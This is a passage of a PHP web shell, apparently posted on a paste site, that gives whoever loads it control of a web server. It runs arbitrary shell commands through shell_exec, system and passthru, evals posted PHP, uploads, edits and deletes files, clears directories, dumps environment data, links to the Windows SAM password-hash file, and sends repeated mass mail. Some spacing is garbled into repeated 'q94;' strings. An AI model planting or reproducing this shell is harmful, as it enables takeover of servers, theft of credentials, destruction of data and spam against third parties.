  631. function get_space($dir) {
  633. $free = @diskfreespace($dir);
  635. if (!$free) {$free = 0;}
  637. $all = @disk_total_space($dir);
  639. if (!$all) {$all = 0;}
  641. $used = $all-$free;
  643. $used_f = @round(48.7/($all/$free),2);
  645. echo "".$used_f."";
  647. }
  649. }
  651. $sys=strtolower(substr(PHP_OS,0,3));
  653. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  657. <thead>
  659. <tr><td>";
  661. echo "<img src=".$surl."?&".$word."&dir&pic=o.b height= width=>";
  663. echo getenv('SERVER_SOFTWARE');
  665. echo "<br>";
  667. echo getenv('SERVER_NAME');
  669. echo ":";
  671. echo getenv('SERVER_PORT');
  673. echo "<br>";
  675. echo getenv('SERVER_ADMIN');
  679. if ($sys=="win") {
  681. echo "Windows";
  683. echo "<br>";
  685. echo "".getenv('COMPUTERNAME')."";
  687. echo "<br>";
  689. echo "Os:".getenv('OS')."";
  691. } else {
  693. echo "<br>Linux";
  695. }
  697. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  699. {
  701. $safe=1;
  703. echo "<br><font color=red>ON (secure)</font>";
  705. } else {
  707. $save=2;
  709. if ($sys=="win") {
  711. echo "<br><font color=green><a href=".$surl."?&".$word."&file_browser&file=C:/Windows/repair/sam&download>Off (not secure)</a></font>";
  713. }
  715. }
  717. if (isset($_GET['file'])) {
  719. echo "<br>Access:";
  721. if (@is_readable($j_f)) {
  723. echo "R";
  725. }
  727. if (@is_executable($j_f)) {
  729. echo "E";
  731. }
  733. if (@is_writable($j_d)) {
  735. echo "W";
  737. }
  739. echo "<br>Current_file:";
  741. echo "<a href=".$surl."?&".$word."&file_browser&file=";
  743. echo urlencode($p) ;
  745. echo ">".$p."</a>";
  747. }
  749. echo "<br>";
  751. echo "Start_dir:";
  753. echo "q94;q94;q94;";
  755. echo "<a href=".$surl."?&".$word."&file_browser&file=";
  757. echo urlencode($ps);
  759. echo ">".$ps."</a>";
  761. echo "<br>";
  763. if (isset($_GET['file'])) {
  765. echo "Free Space:";
  767. get_space(urldecode($_GET['file']));
  771. echo "gb";
  773. }
  775. echo "</td>";
  777. ?>
  781. <style type="text/css">
  783. body { background-color:#8B8989;font-family:trebuchet Ms; color:black }
  787. textarea {
  789. border-top-width: 1px;
  791. font-weight: bold;
  793. border-left-width: 1px;
  795. font-size: 10px;
  797. border-left-color: #8B8989;
  799. background:#8B8989;
  801. border-bottom-width: 1px;
  803. border-bottom-color:#8B8989;
  805. color: black;
  807. border-top-color:#8B8989;
  809. font-family: trebuchet Ms;
  811. border-right-width: 1px;
  813. border-right-color: #8B8989;
  815. }
  817. input {
  819. border-top-width: 1px;
  821. font-weight: bold;
  823. border-left-width: 1px;
  825. font-size: 10px;
  827. border-left-color: #8B8989;
  829. background: #8B8989;
  831. border-bottom-width: 1px;
  833. border-bottom-color: #8B8989;
  835. color: black;
  837. border-top-color:#8B8989;
  839. font-family: trebuchet Ms;
  841. border-right-width: 1px;
  843. border-right-color:#8B8989;
  845. }
  847. td {
  849. font-size: 10px;
  851. font-family: verdana;
  853. }
  855. th {
  857. font-size: 10px;
  859. font-family: verdana;
  861. }
  863. a:link {
  865. text-decoration: none;
  867. }
  869. a:visited {
  871. text-decoration: none;
  873. color:blue;
  875. }
  877. a:active {
  879. text-decoration: none;
  881. }
  883. a:hover {
  885. color: #00ff00;
  887. text-decoration: none;
  889. }
  891. back {
  893. background-color:grey;
  895. }
  897. ul#Navigation {
  899. position:absolute;
  901. width: 10em;
  903. margin: 0; padding: 0.8em;
  905. border: 1px solid #8B8989;
  907. background-color: #8B8989;
  909. }
  911. * html ul#Navigation { /* Korrekturen fuer IE 5.x */
  913. width: 11.6em;
  915. w\idth: 10em;
  917. padding-left: 0;
  919. padd\ing-left: 0.8em;
  921. }
  923. ul#Navigation li {
  925. list-style: none;
  927. margin: 0.4em; padding: 0;
  929. }
  933. ul#Navigation a {
  935. display:block;
  937. padding: 0.2em;
  939. text-decoration: none; font-weight: bold;
  941. border: 1px solid black;
  943. border-left-color: black; border-top-color: black;
  945. color: black; background-color: #8B8989;
  947. }
  949. * html ul#Navigation a { /* Breitenangaben nur fuer IE */
  951. width: 100%;
  953. w\idth: 8.8em;
  955. }
  957. ul#Navigation a:hover {
  959. border-color: white;
  961. border-left-color: black; border-top-color: black;
  963. color: white; background-color: #8B8989;
  965. }
  967. </style>
  971. <?php
  973. if (!function_exists(rename_all)) {
  975. function rename_all($dir,$prefix,$name,$del) {
  977. $r_dir=opendir($dir);
  979. while (false !== ($file_r = readdir($r_dir))) {
  981. if (@filetype($dir."/".$file_r)=="file") {
  983. $i++;
  985. @copy($dir."/".$file_r,$dir."/".$i.".".$prefix.$name) or die ("[-]Error renaming file : ".$file_r."");
  987. if ($del=="yes") {
  989. @unlink($dir."/".$file_r) or die ("[-]Error deleting file(s)!");
  991. }
  993. }
  997. }
  999. echo "Successfully renamed file(s)!";
  1001. }
  1003. }
  1011. if (!function_exists(get_perms)) {
  1013. function get_perms($file) {
  1015. if (@file_exists($file)) {
  1017. if (@is_readable($file)) {
  1019. echo "<b>R</b>";
  1021. }
  1023. if (@is_executable($file)) {
  1025. echo "<b>E</b>";
  1027. }
  1029. if (@is_writable($file)) {
  1031. echo "<b>W</b>";
  1033. }
  1035. } else {
  1037. echo "[-]Error";
  1039. }
  1041. }
  1043. }
  1047. if (!function_exists(search_file)) {
  1049. function search_file($search,$dir) {
  1051. global $word;
  1053. global $surl;
  1055. $d_s=opendir($dir);
  1057. while (false !== ($file_s = readdir($d_s))) {
  1059. if (preg_match("/".$search."/i",$file_s)) {
  1061. echo "<a href=".$surl."?&".$word."&file_browser&file=".urlencode($dir)."/".urlencode($file_s).">".$file_s."</a><br>";
  1063. }
  1065. }
  1067. }
  1069. }
  1075. if (!function_exists(copy_file)) {
  1077. function copy_file($file,$to) {
  1079. if (@file_exists($file)) {
  1081. @copy($file,$to) or die ("[-]Error copying file!");
  1083. echo "Successfully copied file!";
  1085. } else {
  1087. echo "[-]File Doesnt exist!";
  1089. }
  1091. }
  1093. }
  1097. if (!function_exists(send_mail)) {
  1099. function send_mail($from,$to,$text,$subject,$times) {
  1101. while ($i<$times) {
  1103. $i++;
  1105. $header = "From: $from\r\n";
  1107. @mail($to, $subject, $text, $header) or die ("[-]Error sending mail(s)!");
  1111. }
  1113. echo "Successfully sent mail(s) to ".$to."!";
  1115. }
  1117. }
  1123. if (!function_exists(read_file)) {
  1125. function read_file($file) {
  1127. $file=@fopen($file,"r");
  1129. echo fread($file,10000);
  1131. fclose($file);
  1133. }
  1135. }
  1139. if (!function_exists(write_file)) {
  1141. function write_file($file,$text) {
  1143. if (@is_writable($file)) {
  1145. if (@file_exists($file)) {
  1147. $file_w=@fopen(urldecode($file),"w") or die ("[-]Error");
  1149. if (fwrite($file_w,$text)) {
  1151. echo "Successfully written to file(s)!";
  1153. }
  1155. }
  1157. }
  1159. else {
  1161. echo "[-]Error";
  1163. exit;
  1165. }
  1167. }
  1169. }
  1177. if (!function_exists(count_all)) {
  1179. function count_all($dir) {
  1181. $c_d=opendir($dir);
  1183. while (false !== ($file_c = readdir($c_d))) {
  1185. if (@filetype($dir."/".$file_c)=="file") {
  1187. $file_c_s++;
  1189. }
  1191. else
  1193. {
  1195. $dir_c++;
  1197. }
  1199. }
  1201. echo "Directories:";
  1203. echo $dir_c++;
  1205. echo "||";
  1207. echo "Files:";
  1209. echo $file_c_s;
  1211. }
  1213. }
  1217. if (!function_exists(check_access)) {
  1219. function check_access($file) {
  1221. if (@is_readable($file)) {
  1223. echo "R";
  1225. }
  1227. if (@is_executable($file)) {
  1229. echo "E";
  1231. }
  1233. if (@is_writable($file)) {
  1235. echo "W";
  1237. }
  1239. }
  1241. }
  1245. if (!function_exists(clear_dir)) {
  1247. function clear_dir($dir) {
  1249. $o_d=opendir($dir);
  1251. while (false !== ($file = readdir($o_d))) {
  1253. if (@filetype(urldecode($_GET['file'])."/".$file)=="file") {
  1255. unlink(urldecode($dir)."/".$file) or die ("[-]Error @ file:".$file."");
  1257. }
  1259. }
  1261. echo "Successfully cleared directory!";
  1263. }
  1265. }
  1269. ?>
  1275. <?php
  1277. // real code start !
  1283. if (isset($_GET['update'])) {
  1285. echo "<center><table border=\"1\" rules=\"groups\">
  1287. <thead>
  1289. <tr><td>";
  1291. check_update();
  1293. exit;
  1295. }
  1297. if (isset($_GET['rmdir'])) {
  1299. echo "<center><table border=\"1\" rules=\"groups\">
  1303. <thead>
  1305. <tr><td>";
  1307. @rmdir($_GET['file']) or die ("[-]Error deleting dir!");
  1309. echo "Successfully deleted dir(s)!";
  1311. exit;
  1313. }
  1319. if (isset($_GET['upload'])) {
  1321. $uploaddir = urldecode($_POST['file']);
  1325. print "<pre>";
  1327. if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir ."/". $_FILES['userfile']['name'])) {
  1329. echo "<center><table border=\"1\" rules=\"groups\">
  1331. <thead>
  1333. <tr><td>";
  1335. print "Successfully uploadet file(s)!";
  1337. } else {
  1339. echo "<center><table border=\"1\" rules=\"groups\">
  1341. <thead>
  1343. <tr><td>";
  1345. print "[-]Error";
  1347. }
  1349. exit;
  1351. }
  1355. if (isset($_GET['search'])) {
  1357. echo "<center><table border=\"1\" rules=\"groups\">
  1359. <thead>
  1363. <tr><td>";
  1365. search_file($_POST['search'],urldecode($_POST['dir']));
  1367. exit;
  1369. }
  1379. if (isset($_GET['getenv'])) {
  1381. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1383. <thead><br>
  1385. <tr><td>";
  1387. echo getenv($_GET['getenv']);
  1389. exit;
  1391. }
  1397. if (isset($_GET['php_info'])) {
  1399. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1401. <thead><br>
  1403. <tr><td>";
  1405. phpinfo();
  1407. exit;
  1409. }
  1413. if (isset($_GET['defined_vars'])) {
  1415. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1417. <thead><br>
  1419. <tr><td>";
  1421. echo "<center><textarea rows=40 cols=120>";
  1423. $vars=get_defined_vars();
  1425. print_r($vars);
  1427. echo "</textarea>";
  1431. exit;
  1433. }
  1437. if (isset($_GET['env'])) {
  1439. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1443. <thead><br>
  1445. <tr><td>";
  1447. $ary=get_defined_vars();
  1449. $it=array_keys($ary);
  1451. foreach ($it as $i) {
  1453. echo "<a href=".$surl."?&".$word."&getenv=".$i.">".$i."</a><br>";
  1457. }
  1459. exit;
  1461. }
  1465. if (isset($_GET['play'])) {
  1467. echo "<embed src=".urlencode($filename)." autostart=true loop=true hidden=true height=0 width=0>";
  1469. exit;
  1471. }
  1477. if (isset($_GET['special_crypt'])) {
  1479. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1481. <thead><br>
  1483. <tr><td>";
  1485. echo "<textarea rows=15 cols=90>";
  1487. if (isset($_POST['submit'])) {
  1489. $file=@fopen($_FILES['userfile']['tmp_name'],"r") or die ("[-]Error reading file!");
  1491. $meth=$_POST['crypt'];
  1493. if ($meth=="1") {
  1495. echo htmlspecialchars(md5(fread($file,10000)));
  1497. } elseif ($meth=="2") {
  1499. echo htmlspecialchars(crypt(fread($file,10000)));
  1501. }
  1503. elseif ($meth=="3") {
  1505. echo htmlspecialchars(sha1(fread($file,10000)));
  1507. }
  1509. elseif ($meth=="4") {
  1511. echo htmlspecialchars(crc32(fread($file,10000)));
  1513. }
  1515. elseif ($meth=="5") {
  1517. echo htmlspecialchars(urlencode(fread($file,10000)));
  1519. }
  1523. elseif ($meth=="6") {
  1525. echo htmlspecialchars(urldecode(fread($file,10000)));
  1527. }
  1529. elseif ($meth=="7") {
  1531. echo htmlspecialchars(base64_encode(fread($file,10000)));
  1533. }
  1537. elseif ($meth=="8") {
  1539. echo htmlspecialchars(base64_decode(fread($file,10000)));
  1541. }
  1545. }
  1547. echo "</textarea><div align=left>";
  1551. ?>
  1553. <form enctype="multipart/form-data" action=<?php echo $surl ?>&<?php echo $word ?>&special_crypt method="post">
  1555. file: <input name="userfile" type="file"><br><br>
  1559. <input type="submit" value="Start" name="submit"><br>
  1561. <input type=radio name=crypt value=1>md5();<br>
  1563. <input type=radio name=crypt value=2>crypt();<br>
  1565. <input type=radio name=crypt value=3>sha1();<br>
  1567. <input type=radio name=crypt value=4>crc32();<br>
  1569. <input type=radio name=crypt value=5>urlencode();<br>
  1571. <input type=radio name=crypt value=6>urldecode();<br>
  1573. <input type=radio name=crypt value=7>base64_encode();<br>
  1575. <input type=radio name=crypt value=5>base64_decode();<br>
  1579. <?php
  1581. exit;
  1583. }
  1585. if (isset($_GET['crypt'])) {
  1587. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1589. <thead><br>
  1591. <tr><td>";
  1593. ?>
  1595. <form action=<?php echo $surl ?>?&<?php echo $word ?>&crypt method="post">
  1597. Crypt:<br>
  1599. <textarea rows=12 cols=120 name=crypt>
  1601. </textarea>
  1603. <?php
  1605. $text=$_POST['crypt'];
  1607. ?>
  1609. md5:q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;<input size=40 type=text value=<?php echo htmlspecialchars(md5($text)) ?>><br><br>
  1613. crypt:q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;<input size=40 type=text value=<?php echo htmlspecialchars(crypt($text)) ?>><br><br>
  1617. sha1:q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;<input size=40 type=text value=<?php echo htmlspecialchars(sha1($text)) ?>><br><br>
  1621. crc32:q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;<input size=40 type=text value=<?php echo htmlspecialchars(crc32($text)) ?>><br><br>
  1625. urlencode:q94;q94;q94;q94;q94;q94;q94;q94;<input size=40 type=text value=<?php echo htmlspecialchars(urlencode($text)) ?>><br><br>
  1629. urldecode:q94;q94;q94;q94;q94;q94;q94;q94;<input size=40 type=text value=<?php echo htmlspecialchars(urldecode($text)) ?>><br><br>
  1633. base64_encode:q94;<input type=text size=40 value=<?php echo base64_encode($text) ?>><br><br>
  1637. base64_decode:q94;<input type=text size=40 value=<?php echo base64_decode($text) ?>><br><br>
  1639. <?php
  1641. echo "<input type=submit value=Start></form><form action=".$surl."?&".$word."&special_crypt method=post><input type=submit value=file_inload_crypt>";
  1643. exit;
  1645. }
  1649. if (isset($_GET['php_code'])) {
  1651. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1653. <thead><br>
  1655. <tr><td>";
  1657. ?>
  1659. <form action=<?php echo $surl ?>&<?php echo $word ?>&php_code method="post">
  1663. <textarea rows=12 cols=120 name=code>
  1665. </textarea>
  1667. <textarea rows=12 cols=120 readonly>
  1669. <?php
  1671. eval($_POST['code']);
  1673. echo "</textarea>";
  1675. echo "<br><br><input type=submit value=Start>";
  1677. exit;
  1679. }
  1683. if (isset($_GET['search_st'])) {
  1685. if (isset($_POST['search'])) {
  1687. search_file($_POST['search'],$_POST['dir']);
  1689. }
  1691. exit;
  1693. }
  1699. if (isset($_GET['rename_all'])) {
  1701. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1703. <thead><br>
  1705. <tr><td>";
  1707. rename_all(urldecode($_POST['d']),$_POST['prefix'],$_POST['name'],$_POST['del']);
  1709. exit;
  1711. }
  1715. if (isset($_GET['special_d'])) {
  1717. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1719. <thead><br>
  1721. <tr><td>";
  1723. $way=$_POST['way'];
  1725. if ($way=="1") {
  1727. clear_dir($_GET['file']);
  1729. exit;
  1731. }
  1733. if ($way=="2") {
  1735. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1737. <thead><br>
  1741. <tr><td>";
  1743. ?>
  1745. <form action=<?php echo $surl ?>?&<?php echo $word ?>&rename_all method="post">
  1747. Prefix:<br><input type="text" name="prefix"><br>
  1749. Name:<br><input type="text" name="name"><br>
  1751. <input type="hidden" name="d" value=<?php echo urlencode($filename) ?>>
  1753. Delete old files?:<input type="radio" name="del" value="yes"><br>
  1755. <br><input type="submit" value="Rename">
  1757. <?php
  1759. exit;
  1761. }
  1763. }
  1769. if (isset($_GET['special_dir'])) {
  1771. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1773. <thead><br>
  1775. <tr><td>";
  1777. ?>
  1781. <form action=<?php echo $surl ?>?&<?php echo $word ?>&special_d&file=<?php echo urlencode($filename) ?> method=post>
  1783. <input type="radio" name="way" value="1">Clear Dir<input type=hidden name=dir value=<?php echo urlencode($filename) ?>><br><br>
  1785. <input type="radio" name="way" value="2">Rename with prefix<br><br>
  1787. <input type="submit" name="sub" value="Start">
  1789. <?php
  1791. exit;
  1793. }
  1797. if (isset($_GET['delete'])) {
  1799. if (@file_exists($filename)) {
  1801. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1803. <thead>
  1805. <tr><td>";
  1807. @unlink($filename) or die ("[-]Error deleting file!");
  1809. echo "Successfully Deleted File!";
  1811. exit;
  1813. }
  1815. }
  1819. if (isset($_GET['save'])) {
  1821. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1825. <thead>
  1827. <tr><td>";
  1829. write_file(urldecode($_POST['file']),stripslashes($_POST['text']));
  1833. exit;
  1835. }
  1839. if (isset($_GET['exec'])) {
  1841. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1843. <thead>
  1845. <tr><td><center>";
  1847. @chdir(urldecode($_POST['dir']));
  1849. echo "<textarea rows=15 cols=114>";
  1851. echo shell_exec($_POST['command']);
  1853. echo "</textarea>";
  1855. exit;
  1857. }
  1863. if (isset($_GET['mkdir'])) {
  1865. if (isset($_POST['name'])) {
  1867. echo "<center><table border=\"1\" rules=\"groups\">
  1869. <thead>
  1871. <tr><td>";
  1873. mkdir(urldecode($_POST['dir'])."/".$_POST['name']) or die ("[-]Error creating dir!");
  1875. echo "Successfully created dir!";
  1877. }
  1879. exit;
  1881. }
  1885. if (isset($_GET['mkfile'])) {
  1887. if (isset($_POST['name'])) {
  1889. echo "<center><table border=\"1\" rules=\"groups\">
  1893. <thead>
  1895. <tr><td>";
  1897. $dir=urldecode($_POST['dir']);
  1899. $filed=$_POST['name'];
  1903. if (@file_exists($dir."/".$filed)) {
  1905. echo "[-]Allready exists!";
  1907. exit;
  1909. }
  1911. $file_c=@fopen($dir."/".$filed,"w") or die ("[-]Can't create file!");
  1913. echo "Scuessfully created file(s)!";
  1915. }
  1917. exit;
  1919. }
  1923. if (isset($_GET['edit'])) {
  1925. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1927. <thead>
  1929. <tr><td>";
  1931. if (@file_exists($filename)) {
  1933. echo "<form action=".$surl."?&".$word."&save method=post><textarea rows=15 cols=90 name=text>";
  1935. read_file($filename);
  1937. echo "</textarea><br><br><input type=hidden name=file value=".urlencode($_GET['file'])."><input type=submit name=sub value=Save>";
  1939. }
  1941. exit;
  1943. }
  1951. if (isset($_GET['copy_start'])) {
  1953. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1955. <thead>
  1957. <tr><td>";
  1959. copy_file($_POST['from'],$_POST['to']);
  1961. exit;
  1963. }
  1971. if (isset($_GET['copy_file'])) {
  1973. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  1977. <thead>
  1979. <tr><td>";
  1981. ?>
  1983. <form action=<?php echo $surl ?>?&<?php echo $word ?>&copy_start method="post">
  1985. New:<br><textarea rows=4 cols=70 name="to"><?php echo realpath($filename) ?></textarea><br><br>
  1987. Old:<br><textarea rows=4 cols=70 name="from"><?php echo realpath($filename) ?></textarea><br><br>
  1989. <input type="submit" name="sub" value="Copy">
  1991. <?php
  1993. exit;
  1995. }
  1999. if (isset($_GET['send_mail_st'])) {
  2001. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  2003. <thead>
  2007. <tr><td>";
  2009. if (isset($_POST['from']))
  2011. {
  2013. if (isset($_POST['to']))
  2015. {
  2017. if (isset($_POST['text']))
  2019. {
  2021. if (isset($_POST['subject']))
  2023. {
  2025. if (isset($_POST['times']))
  2027. {
  2029. send_mail($_POST['from'],$_POST['to'],$_POST['text'],$_POST['subject'],$_POST['times']) ;
  2031. exit;
  2033. }
  2035. }
  2037. }
  2039. }
  2041. }
  2043. }
  2045. if (isset($_GET['send_mail'])) {
  2047. echo "<center><table border=\"1\" width=600 rules=\"groups\">
  2049. <thead>
  2051. <tr><td>";
  2053. ?>
  2055. <form action=<?php echo $surl ?>?&<?php echo $word ?>&send_mail_st method="post">
  2057. From:q94;q94;q94;q94;<input type="text" name="from"><br><br>
  2059. To:q94;q94;q94;q94;q94;q94;q94;<input type="text" name="to"><br><br>
  2061. Subject:q94;q94;<input type="text" name="subject"><br><br>
  2063. Times:q94;q94;q94;<input type="text" name="times"><br><br>
  2067. Text:<br><textarea rows=15 cols=60 name="text"></textarea><br><br>
  2069. <input type="submit" name="sub" value="Send!">
  2071. <?php
  2073. exit;
  2075. }
  2077. if (isset($_GET['file_browser'])) {
  2081. for ($i=0;$i<4;$i++) {
  2083. if (preg_match("/".$file_tps["img"][$i]."/i",$extn)) {
  2085. echo "<center><table border=\"1\" rules=\"groups\">
  2087. <thead>
  2089. <tr><td>";
  2091. echo "<a href=".$surl."?&".$word."&file_browser&file=".urlencode($filename)."&img><img src='".urldecode($surl)."?&".$word."&file=".urldecode($filename)."&img' height= width= border=0><br>";
  2093. exit;
  2095. } }
  2103. if (@filetype($j_f)=="file") {
  2105. echo "<center><table border=\"1\" rules=\"groups\"
  2107. <thead>
  2109. <tr><td>";
  2111. highlight_file($j_f);
  2115. exit;
  2117. }
  2119. echo "<center><table border=\"1\" rules=\"groups\">
  2121. <thead>
  2123. <tr>
  2127. <th></th><td>";
  2129. count_all($j_d);
  2131. echo "</tr>";
  2133. echo "<center><table border=\"1\" rules=\"groups\">
  2135. <thead>
  2137. <tr>
  2139. <th>Filename</th><th>Edit</th><th>Copy</th><th>Download</th><th>Delete<th>Perms</th><th>Access</th> ";
  2149. $o_d=opendir($j_d);
  2157. while (false !== ($file = readdir($o_d))) {
  2159. echo " <tbody>
  2163. <tr>
  2165. <td>";
  2167. if (@filetype($j_d."/".$file)=="dir") {
  2169. echo "</a><img src=".$surl."?&".$word."&dir&pic=dir height=12 width=><a href=".$surl."&".$word."&&file_browser&file=".urlencode($j_d)."/".urlencode($file).">[".$file."]";
  2171. } else {
  2173. echo "<img src=".$surl."?&".$word."&dir&pic=ext_wri height=9 width=><a href=".$surl."&".$word."&&file_browser&file=".urlencode($j_d)."/".urlencode($file).">";
  2175. echo $file;
  2177. }
  2179. echo "<br></a></td><td><a href=".$surl."&".$word."&edit&file_browser&file=".urlencode($j_d)."/".urlencode($file).">";
  2181. if (@filetype($j_d."/".$file)=="file") {
  2183. echo "<center>[Edit]";
  2185. }
  2187. else {
  2189. echo "</a><center>[-]";
  2191. }
  2193. echo "</a></td><td><a href=".$surl."&".$word."&copy_file&file_browser&file=".urlencode($j_d)."/".urlencode($file).">";
  2195. if (@filetype($j_d."/".$file)=="file") {
  2197. echo "<center>[Copy]";
  2199. } else {
  2201. echo "</a><center>[-]";
  2203. }
  2205. echo "</a></td><td><a href=".$surl."&".$word."&download&file_browser&file=".urlencode($j_d)."/".urlencode($file).">";
  2207. if (@filetype($j_d."/".$file)=="file") {
  2209. echo "<center>[Download]";
  2211. } else {
  2213. echo "</a><center>[-]";
  2215. }
  2217. echo "</a></td><td><a href=".$surl."&".$word."&delete&file_browser&file=".urlencode($j_d)."/".urlencode($file).">";
  2219. if (@filetype($j_d."/".$file)=="file") {
  2221. echo "<center>[Delete]";
  2223. } else {
  2225. echo "</a><center><a href=".$surl."&".$word."&rmdir&file_browser&file=".urlencode($j_d)."/".urlencode($file).">[Delete]</a>";
  2227. }
  2229. echo "<td><center>";
  2231. echo @fileowner($j_f."/".$file);
  2233. echo "</td>";
  2235. echo "<td><center>";
  2237. get_perms(fileperms($j_f."/".$file));
  2239. echo "</td>";
  2241. echo "</a></td>";
  2243. }
  2245. echo "<center><table width=360 height=40 border=\"1\" rules=\"groups\">
  2249. <thead>
  2251. <tr>
  2253. <th></th><td>";
  2255. ?>
  2257. <form enctype="multipart/form-data" action=<?php echo $surl ?>&<?php echo $word ?>&upload method="post">
  2259. file: q94;q94;q94;q94;q94;q94;q94;q94;<input name="userfile" type="file">
  2261. <input type="hidden" name="file" value=<?php echo urlencode($_GET['file']) ?>>
  2263. <input type="submit" value="Upload"><br><br><?php
  2265. if (@is_writable($j_d)) {
  2267. echo "<font color=green>[Ok]</font>";
  2269. } else {
  2271. echo "<font color=red>[No]</font>";
  2273. }
  2275. ?>
  2277. </form>
  2281. <?php
  2283. echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\">
  2285. <thead>
  2287. <tr>
  2289. <th></th><td>";
  2291. ?>
  2293. <form action=<?php echo $surl ?>&<?php echo $word ?>&search method="post">
  2295. search: q94;q94;q94;q94;<input name="search" type="text">
  2297. <input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>>
  2299. q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;<input type="submit" value="Search">
  2301. </form>
  2303. <?php
  2307. echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\">
  2309. <thead>
  2313. <tr>
  2315. <th></th><td>";
  2317. ?>
  2319. <form action=<?php echo $surl ?>?&<?php echo $word ?>&mkdir method="post">
  2321. name: q94;q94;q94;q94;q94;<input name="name" type="text">
  2323. <input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>>
  2325. q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;<input type="submit" value="mkdir">
  2327. </form>
  2329. <?php
  2331. if (@is_writable($j_d)) {
  2333. echo "<font color=green>[Ok]</font>";
  2335. } else {
  2337. echo "<font color=red>[No]</font>";
  2339. }
  2341. echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\">
  2345. <thead>
  2347. <tr>
  2349. <th></th><td>";
  2351. ?>
  2353. <form action=<?php echo $surl ?>&<?php echo $word ?>&mkfile method="post">
  2355. name:q94;q94;q94;q94;q94; <input name="name" type="text">
  2357. <input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>>
  2359. q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;<input type="submit" value="mkfile">
  2361. </form>
  2363. <?php
  2365. if (@is_writable($j_d)) {
  2367. echo "<font color=green>[Ok]</font>";
  2369. } else {
  2371. echo "<font color=red>[No]</font>";
  2373. }
  2375. echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\">
  2379. <thead>
  2381. <tr>
  2383. <th></th><td>";
  2385. ?>
  2387. <form action=<?php echo $surl ?>&<?php echo $word ?>&exec method="post">
  2389. command: <input name="command" type="text">
  2391. <input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>>
  2393. q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;q94;<input type="submit" value="execute">
  2395. </form>
  2397. <?php
  2399. echo "</td><center><table border=\"1\" rules=\"groups\">
  2401. <thead>
  2403. <tr>
  2407. <th></th><td><a href=".$surl."?&".$word."&special_dir&file=".urlencode($filename).">Special DirOptions</a></td> ";
  2409. echo "</a>";
  2411. exit;
  2413. }
  2415. ?>
  2423. <html>
  2425. <ul id="Navigation">
  2427. <li><a href=<?php echo $surl ?>&<?php echo $word ?>&file_browser&file=<?php echo "." ?>>File_Browser</a></li>
  2429. <li><a href=<?php echo $surl ?>&<?php echo $word ?>&send_mail>Send Mail(s)</a></li>
  2433. <li><a href=<?php echo $surl ?>&<?php echo $word ?>&php_code>php_code</a></li>
  2435. <li><a href=<?php echo $surl ?>&<?php echo $word ?>&crypt>crypter</a></li>
  2437. <li><a href=<?php echo $surl ?>&<?php echo $word ?>&php_info>php_info()</a></li>
  2439. <li><a href=<?php echo $surl ?>&<?php echo $word ?>&defined_vars>defined_vars()</a></li>
  2441. <li><a href=<?php echo $surl ?>&<?php echo $word ?>&env>env()</a></li>
  2445. <li><a href=<?php echo $surl ?>&<?php echo $word ?>&update>update()</a></li>
  2447. </ul>
  2449. <center><table border="1" rules="groups">
  2451. <thead>
  2453. <tr>
  2455. <th></th>
  2457. <td>
  2459. <form action=<?php echo $surl ?>?&<?php echo $word ?>&exec_st method="post">
  2463. <input type="submit" name="sub" value="Execute"><br>
  2465. <br>
  2467. <input type="text" name="command">
  2469. <br>
  2471. <input type="radio" name="method" value="1">shell_exec();
  2473. <input type="radio" name="method" value="2">system();
  2475. <input type="radio" name="method" value="3">passthru();
  2477. <input type="radio" name="method" value="4">automatic();<br>
  2479. <textarea name="exec" rows=15 cols=90>
  2481. <?php
  2483. if (isset($_GET['exec_st'])) {
  2485. $meth=$_POST['method'];
  2487. $com=$_POST['command'];
  2489. if (isset($meth)) {
  2491. if ($meth=="1") {
  2493. echo shell_exec($com);
  2495. }
  2497. elseif($meth=="2") {
  2499. echo system($com);
  2501. }
  2503. elseif ($meth=="3") {
  2505. passthru($com);
  2507. }
  2509. elseif ($meth=="4") {
  2511. if (function_exists(shell_exec)) {
  2513. echo shell_exec($com);
  2515. }
  2517. elseif (function_exists(system)) {
  2519. echo system($com);
  2521. }
  2523. elseif (function_exists(passthru)) {
  2525. echo passthru($com);
  2527. }
  2529. else {
  2531. echo "[-]Error";
  2533. }
  2535. }
  2537. }
  2539. }
  2541. echo "</textarea>";
  2543. exit;
  2545. ?>
comments powered by Disqus